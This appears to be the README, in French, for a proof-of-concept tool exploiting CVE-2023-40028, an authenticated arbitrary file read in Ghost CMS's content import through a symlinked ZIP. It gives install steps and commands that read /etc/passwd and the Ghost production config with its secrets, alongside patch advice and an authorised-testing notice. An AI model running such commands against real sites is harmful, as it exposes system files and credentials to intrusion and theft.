
POC pour CVE-2023-40028 : Ghost CMS Lecture Arbitraire de Fichiers
Preuve de concept pour CVE-2023-40028, une vulnérabilité de lecture arbitraire de fichiers authentifiée dans la fonctionnalité d'import de contenu de Ghost. Une archive ZIP spécialement conçue crée un lien symbolique sous content/images, permettant au script de demander un fichier à l'hôte Ghost.
Les versions de Ghost antérieures à 5.59.1 sont affectées. Mettez à jour vers 5.59.1 ou une version ultérieure.
N'utilisez cet outil que contre des systèmes que vous possédez ou que vous êtes autorisé à tester.
requestsghost-admin-api-session validepython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
Lire un fichier avec un nom d'utilisateur et un mot de passe :
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
Utiliser un cookie de session administrateur existant :
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
Omettez --file pour ouvrir l'invite interactive file>. Exécutez python3 ghost_fileread.py --help pour les options de proxy, de délai d'attente et de User-Agent.
Le point de terminaison renvoie du texte, cet outil est donc destiné aux fichiers texte. L'import de l'archive spécialement conçue laisse un lien symbolique dans le répertoire content/images de la cible.